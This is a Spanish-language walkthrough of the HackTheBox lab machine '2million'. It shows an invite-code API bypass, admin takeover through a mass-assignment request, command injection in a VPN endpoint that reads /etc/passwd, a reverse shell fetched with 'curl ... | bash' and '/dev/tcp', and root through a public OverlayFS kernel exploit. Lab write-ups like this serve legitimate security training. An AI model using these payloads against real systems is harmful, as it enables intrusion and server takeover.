1. Escaneo de puertos tcp
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
|_ 256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
80/tcp open http nginx
|_http-title: Did not follow redirect to http://2million.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
2. Intrusión
Si revisamos la página web, vemos que para registrarnos necesitamos un codigo de invitacion. Dicho código se introduce en el endpoint http://2million.htb/invite
. Revisando en el Debugger de nuestro navegador, podemos ver el archivo invitesapi.js
, el cual tiene el siguiente contenido:
eval(function(p, a, c, k, e, d) {
e = function(c) {
return c.toString(36)
};
if (!''.replace(/^/, String)) {
while (c--) {
d[c.toString(a)] = k[c] || c.toString(a)
}
k = [function(e) {
return d[e]
}];
e = function() {
return '\\w+'
};
c = 1
};
while (c--) {
if (k[c]) {
p = p.replace(new RegExp('\\b' + e(c) + '\\b', 'g'), k[c])
}
}
return p
}('1 i(4){h 8={"4":4};$.9({a:"7",5:"6",g:8,b:\'/d/e/n\',c:1(0){3.2(0)},f:1(0){3.2(0)}})}1 j(){$.9({a:"7",5:"6",b:\'/d/e/k/l/m\',
c:1(0){3.2(0)},f:1(0){3.2(0)}})}', 24, 24, 'response|function|log|console|code|dataType|json|POST|formData|ajax|type|url|success|api/v1
|invite|error|data|var|verifyInviteCode|makeInviteCode|how|to|generate|verify'.split('|'), 0, {}))
Es una función con código ofuscado en JavaScript que usa una técnica llamada "Packer". Si lo desciframos con cualquier herramienta online obtenemos lo siguiente:
``bash function verifyInviteCode(code) { var formData = { "code": code }; $.ajax({ type: "POST", dataType: "json", data: formData, url: '/api/v1/invite/verify', success: function(response) { console.log(response); }, error: function(response) { console.log(response); } }); }
function makeInviteCode() { $.ajax({ type: "POST", dataType: "json", url: '/api/v1/invite/how/to/generate', success: function(response) { console.log(response); }, error: function(response) { console.log(response); } }); }
Con **burp** lanzamos la peticion POST a `/api/v1/invite/how/to/generate` y nos devuelve la siguiente respuesta:
```bash
HTTP/1.1 200 OK
Server: nginx
Date: Sat, 22 Feb 2025 19:27:27 GMT
Content-Type: application/json
Connection: keep-alive
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-Length: 249
{"0":200,"success":1,"data":{"data":"Va beqre gb trarengr gur vaivgr pbqr, znxr n CBFG erdhrfg gb \/ncv\/i1\/vaivgr\/trarengr","enctype":"ROT13"},
"hint":"Data is encrypted ... We should probbably check the encryption type in order to decrypt it..."}
Si en dcode.fr desciframos con el algoritmo "Rot13" la cadena data, obtenemos lo siguiente:
In order to generate the invite code, make a POST request to \/api\/v1\/invite\/generate
Realizamos entonces una peticion POST a dicho endpoint, de nuevo con burp, y obtenemos la siguiente respuesta:
HTTP/1.1 200 OK
Server: nginx
Date: Sat, 22 Feb 2025 19:31:03 GMT
Content-Type: application/json
Connection: keep-alive
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-Length: 91
{"0":200,"success":1,"data":{"code":"VENKQU8tUDlNNE8tUU1LNVUtSFlNTVc=","format":"encoded"}}
Si decodificamos la cadena "code" en base64, obtenemos el siguiente código de invitación:
TCJAO-P9M4O-QMK5U-HYMMW
Creamos entonces un usuaron con dicho código, y los siguientes credenciales: test12@test.com - test
. Una vez autenticados, podemos hacer una petición Get al endpoint /api/v1
y observamos lo siguiente:
HTTP/1.1 200 OK
Server: nginx
Date: Sat, 22 Feb 2025 21:18:51 GMT
Content-Type: application/json
Connection: keep-alive
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-Length: 800
{"v1":{
"user":{
"GET":{"\/api\/v1":"Route List",
"\/api\/v1\/invite\/how\/to\/generate":"Instructions on invite code generation",
"\/api\/v1\/invite\/generate":"Generate invite code",
"\/api\/v1\/invite\/verify":"Verify invite code",
"\/api\/v1\/user\/auth":"Check if user is authenticated",
"\/api\/v1\/user\/vpn\/generate":"Generate a new VPN configuration",
"\/api\/v1\/user\/vpn\/regenerate":"Regenerate VPN configuration",
"\/api\/v1\/user\/vpn\/download":"Download OVPN file"},
"POST":{"\/api\/v1\/user\/register":"Register a new user",
"\/api\/v1\/user\/login":"Login with existing user"}},
"admin":{
"GET":{"\/api\/v1\/admin\/auth":"Check if user is admin"},
"POST":{"\/api\/v1\/admin\/vpn\/generate":"Generate VPN for specific user"},
"PUT":{"\/api\/v1\/admin\/settings\/update":"Update user settings"}}}}
Descubrimos entonces que si lanzamos una petición al enpoint /api/v1/admin/settings/update
, podemos convertir a nuestro usuario en usuario administrador. Podemos ir sabiendo los parametros que se tienen que enviar, porque la aplicacion va respondiendo con los errores y parametros esperados, quedando entonces la siguiente petición:
PUT /api/v1/admin/settings/update HTTP/1.1
Host: 2million.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Content-type: application/json
Referer: http://2million.htb/home/access
Cookie: PHPSESSID=94mkp60v47us7k2phetlttrosh
Upgrade-Insecure-Requests: 1
Priority: u=0, i
Content-Length: 55
{"email":"test12@test.com",
"is_admin": 1
}
Con esto podemos acceder a los otros métodos disponibles para admin. Uno de ellos es ,el que nos permite generar un certificado vpn, mediante el endpoint /api/v1/admin/vpn/generate
. Vemos como la app nos pide un campo de usuario, y podemos probar a realizar una inyección de comandos, mediante dicho campo:
POST /api/v1/admin/vpn/generate HTTP/1.1
Host: 2million.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Content-type: application/json
Referer: http://2million.htb/home/access
Cookie: PHPSESSID=94mkp60v47us7k2phetlttrosh
Upgrade-Insecure-Requests: 1
Priority: u=0, i
Content-Length: 41
{ "username": "admin;cat /etc/passwd;"}
Y recibimos como respuesta lo siguiente:
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/bin/bash
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:104::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:104:105:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
pollinate:x:105:1::/var/cache/pollinate:/bin/false
sshd:x:106:65534::/run/sshd:/usr/sbin/nologin
syslog:x:107:113::/home/syslog:/usr/sbin/nologin
uuidd:x:108:114::/run/uuidd:/usr/sbin/nologin
tcpdump:x:109:115::/nonexistent:/usr/sbin/nologin
tss:x:110:116:TPM software stack,,,:/var/lib/tpm:/bin/false
landscape:x:111:117::/var/lib/landscape:/usr/sbin/nologin
fwupd-refresh:x:112:118:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin
usbmux:x:113:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
lxd:x:999:100::/var/snap/lxd/common/lxd:/bin/false
mysql:x:114:120:MySQL Server,,,:/nonexistent:/bin/false
admin:x:1000:1000::/home/admin:/bin/bash
memcache:x:115:121:Memcached,,,:/nonexistent:/bin/false
_laurel:x:998:998::/var/log/laurel:/bin/false
Lanzamos entonces una revershell para entablar una conexión con dicha máquina. Para ello creamos un archivo index.html
con el siguiente contenido:
bash -i >& /dev/tcp/10.10.14.118/9001 0>&1
Y exponemos dicho archivo a través de un server http en nuestra máquina:
# python3 -m http.server 80
Y lanzamos nc para escuchar a través del puerto 9001:
# nc -lnvp 9001
Y lanzamos la siguiente petición web:
POST /api/v1/admin/vpn/generate HTTP/1.1
Host: 2million.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Content-type: application/json
Referer: http://2million.htb/home/access
Cookie: PHPSESSID=94mkp60v47us7k2phetlttrosh
Upgrade-Insecure-Requests: 1
Priority: u=0, i
Content-Length: 41
{ "username": "admin;curl http://10.10.14.118|bash;"}
Y somos capaces de acceder como usuario www-data.
3. Movimiento lateral
Empezamos a enumerar directorios y archivos y encontramos el siguiente archivo:
www-data@2million:~/html$ cat .env
DB_HOST=127.0.0.1
DB_DATABASE=htb_prod
DB_USERNAME=admin
DB_PASSWORD=SuperDuperPass123
Si probamos a conectarnos por ssh, con dichas credenciales vemos que logramos acceder, y conseguir así la flag de usuario.
4. Escalado de privilegios
En el email del usuario admin vemos el siguiente correo:
$ cat admin
From: ch4p <ch4p@2million.htb>
To: admin <admin@2million.htb>
Cc: g0blin <g0blin@2million.htb>
Subject: Urgent: Patch System OS
Date: Tue, 1 June 2023 10:45:22 -0700
Message-ID: <9876543210@2million.htb>
X-Mailer: ThunderMail Pro 5.2
Hey admin,
I'm know you're working as fast as you can to do the DB migration. While we're partially down, can you also upgrade the OS on our web host? There have been a few serious Linux kernel CVEs
already this year. That one in OverlayFS / FUSE looks nasty. We can't get popped by that.
HTB Godfather
Si buscamos en google por dicho CVE, encontramos el siguiente repo de Github: https://github.com/puckiestyle/CVE-2023-0386. Lo pasamos a través de scp y ejecutamos en dos terminales distintas, tal y como se nos espicifica en el exploit:
# ./fuse ./ovlcap/lower ./gc
# ./exp
Y ya nos podemos hacer root con el comando # sudo su
y obtener así la flag del usuario root.
Y conseguimos la flag de root